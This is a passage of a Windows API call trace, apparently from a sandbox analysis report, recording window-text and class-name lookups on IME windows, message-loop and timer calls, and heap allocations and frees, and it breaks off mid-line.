GetWindowTextW (in: hWnd=0x10344, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.315] GetClassNameW (in: hWnd=0x10344, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.315] GetWindowTextW (in: hWnd=0x1033c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.315] GetClassNameW (in: hWnd=0x1033c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.315] GetWindowTextW (in: hWnd=0x1033a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.315] GetClassNameW (in: hWnd=0x1033a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.315] GetWindowTextW (in: hWnd=0x10334, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.316] GetClassNameW (in: hWnd=0x10334, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.316] GetWindowTextW (in: hWnd=0x1032a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.316] GetClassNameW (in: hWnd=0x1032a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.316] GetWindowTextW (in: hWnd=0x10320, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.316] GetClassNameW (in: hWnd=0x10320, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.316] GetWindowTextW (in: hWnd=0x1031e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.317] GetClassNameW (in: hWnd=0x1031e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.317] GetWindowTextW (in: hWnd=0x10314, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.317] GetClassNameW (in: hWnd=0x10314, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.317] GetWindowTextW (in: hWnd=0x1030a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.317] GetClassNameW (in: hWnd=0x1030a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.317] GetWindowTextW (in: hWnd=0x10308, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.318] GetClassNameW (in: hWnd=0x10308, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.318] GetWindowTextW (in: hWnd=0x102fc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.318] GetClassNameW (in: hWnd=0x102fc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.318] GetWindowTextW (in: hWnd=0x102fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.318] GetClassNameW (in: hWnd=0x102fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.318] GetWindowTextW (in: hWnd=0x102f8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.319] GetClassNameW (in: hWnd=0x102f8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.319] GetWindowTextW (in: hWnd=0x102ea, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.319] GetClassNameW (in: hWnd=0x102ea, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.319] GetWindowTextW (in: hWnd=0x102de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.319] GetClassNameW (in: hWnd=0x102de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.319] GetWindowTextW (in: hWnd=0x102d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.320] GetClassNameW (in: hWnd=0x102d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.320] GetWindowTextW (in: hWnd=0x102d0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.320] GetClassNameW (in: hWnd=0x102d0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.320] GetWindowTextW (in: hWnd=0x102ce, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.320] GetClassNameW (in: hWnd=0x102ce, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.320] GetWindowTextW (in: hWnd=0x102cc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.320] GetClassNameW (in: hWnd=0x102cc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.320] GetWindowTextW (in: hWnd=0x102ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.321] GetClassNameW (in: hWnd=0x102ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.321] GetWindowTextW (in: hWnd=0x102c8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.321] GetClassNameW (in: hWnd=0x102c8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.321] GetWindowTextW (in: hWnd=0x102c6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.321] GetClassNameW (in: hWnd=0x102c6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.321] GetWindowTextW (in: hWnd=0x102c4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.322] GetClassNameW (in: hWnd=0x102c4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.322] GetWindowTextW (in: hWnd=0x102c2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.322] GetClassNameW (in: hWnd=0x102c2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.322] GetWindowTextW (in: hWnd=0x102c0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.322] GetClassNameW (in: hWnd=0x102c0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.322] GetWindowTextW (in: hWnd=0x102be, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.322] GetClassNameW (in: hWnd=0x102be, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.322] GetWindowTextW (in: hWnd=0x102bc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.323] GetClassNameW (in: hWnd=0x102bc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.323] GetWindowTextW (in: hWnd=0x102ba, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.323] GetClassNameW (in: hWnd=0x102ba, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.323] GetWindowTextW (in: hWnd=0x102b8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.323] GetClassNameW (in: hWnd=0x102b8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.323] GetWindowTextW (in: hWnd=0x102b6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.323] GetClassNameW (in: hWnd=0x102b6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.324] GetWindowTextW (in: hWnd=0x102b4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.324] GetClassNameW (in: hWnd=0x102b4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.324] GetWindowTextW (in: hWnd=0x3013c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.324] GetClassNameW (in: hWnd=0x3013c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.324] GetWindowTextW (in: hWnd=0x401ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.324] GetClassNameW (in: hWnd=0x401ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.324] GetWindowTextW (in: hWnd=0x102ae, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.325] GetClassNameW (in: hWnd=0x102ae, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.325] GetWindowTextW (in: hWnd=0x102a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.325] GetClassNameW (in: hWnd=0x102a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.325] GetWindowTextW (in: hWnd=0x1029e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.325] GetClassNameW (in: hWnd=0x1029e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.325] GetWindowTextW (in: hWnd=0x10296, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.325] GetClassNameW (in: hWnd=0x10296, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.325] GetWindowTextW (in: hWnd=0x1028c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.326] GetClassNameW (in: hWnd=0x1028c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.326] GetWindowTextW (in: hWnd=0x1028a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.326] GetClassNameW (in: hWnd=0x1028a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.326] GetWindowTextW (in: hWnd=0x10280, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.326] GetClassNameW (in: hWnd=0x10280, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.326] GetWindowTextW (in: hWnd=0x10276, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.326] GetClassNameW (in: hWnd=0x10276, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.327] GetWindowTextW (in: hWnd=0x1026c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.327] GetClassNameW (in: hWnd=0x1026c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.327] GetWindowTextW (in: hWnd=0x10262, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.327] GetClassNameW (in: hWnd=0x10262, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.327] GetWindowTextW (in: hWnd=0x10258, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.327] GetClassNameW (in: hWnd=0x10258, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.327] GetWindowTextW (in: hWnd=0x10256, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.328] GetClassNameW (in: hWnd=0x10256, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.575] GetWindowTextW (in: hWnd=0x10248, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.576] GetClassNameW (in: hWnd=0x10248, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.576] GetWindowTextW (in: hWnd=0x10242, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.576] GetClassNameW (in: hWnd=0x10242, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.576] GetWindowTextW (in: hWnd=0x10232, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.576] GetClassNameW (in: hWnd=0x10232, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.576] GetWindowTextW (in: hWnd=0x10230, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.577] GetClassNameW (in: hWnd=0x10230, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.577] GetWindowTextW (in: hWnd=0x10228, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.577] GetClassNameW (in: hWnd=0x10228, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.577] GetWindowTextW (in: hWnd=0x10212, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.577] GetClassNameW (in: hWnd=0x10212, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.577] GetWindowTextW (in: hWnd=0x10210, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.577] GetClassNameW (in: hWnd=0x10210, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.577] GetWindowTextW (in: hWnd=0x1020c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.577] GetClassNameW (in: hWnd=0x1020c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.578] GetWindowTextW (in: hWnd=0x2012e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.579] GetClassNameW (in: hWnd=0x2012e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.579] GetWindowTextW (in: hWnd=0x60316, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.579] GetClassNameW (in: hWnd=0x60316, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.579] GetWindowTextW (in: hWnd=0x5007c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.580] GetClassNameW (in: hWnd=0x5007c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.580] GetWindowTextW (in: hWnd=0x101d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.580] GetClassNameW (in: hWnd=0x101d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.580] GetWindowTextW (in: hWnd=0x101c4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.580] GetClassNameW (in: hWnd=0x101c4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.580] GetWindowTextW (in: hWnd=0x101a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.580] GetClassNameW (in: hWnd=0x101a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.580] GetWindowTextW (in: hWnd=0x1018a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.581] GetClassNameW (in: hWnd=0x1018a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.581] GetWindowTextW (in: hWnd=0x100fe, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.581] GetClassNameW (in: hWnd=0x100fe, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.581] GetWindowTextW (in: hWnd=0x100fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0140.581] GetClassNameW (in: hWnd=0x100fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0140.581] GetWindowTextW (in: hWnd=0x100f0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.581] GetClassNameW (in: hWnd=0x100f0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.581] GetWindowTextW (in: hWnd=0x100e4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.581] GetClassNameW (in: hWnd=0x100e4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.582] GetWindowTextW (in: hWnd=0x20074, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.582] GetClassNameW (in: hWnd=0x20074, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782d8 | out: hHeap=0xe80000) returned 1 [0140.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078398 | out: hHeap=0xe80000) returned 1 [0140.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078560 | out: hHeap=0xe80000) returned 1 [0140.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078428 | out: hHeap=0xe80000) returned 1 [0140.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784d0 | out: hHeap=0xe80000) returned 1 [0140.583] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba7c8 | out: hHeap=0xe80000) returned 1 [0140.583] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 1 [0140.584] TranslateMessage (lpMsg=0xbdf794) returned 0 [0140.584] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0140.584] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0140.584] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0140.584] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.585] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0140.585] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0140.585] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0140.585] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.585] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0140.585] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.586] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0140.586] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0140.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0140.586] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0140.586] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.587] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0140.587] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.587] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0140.587] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0140.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7a38 [0140.587] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7a38 | out: hHeap=0xe80000) returned 1 [0140.588] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0140.588] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0140.588] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.588] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0140.588] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0140.589] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7798 [0140.589] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7798 | out: hHeap=0xe80000) returned 1 [0140.589] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0140.589] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.589] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0140.589] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.589] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0140.589] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.589] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7a38 [0140.590] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7a38 | out: hHeap=0xe80000) returned 1 [0140.590] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.590] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb10 [0140.590] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10782f0 [0140.590] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.590] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782f0 | out: hHeap=0xe80000) returned 1 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0xed7938 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10782c0 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf928 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2808 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078518 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10782d8 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078530 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078458 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078548 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078410 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078488 [0140.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10782f0 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078308 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078560 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10784a0 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078368 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078320 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10784b8 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10784d0 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10784e8 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078578 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba5e8 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10783e0 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0xed7778 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0xf000e8 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078590 [0140.591] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9e8 [0140.591] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: 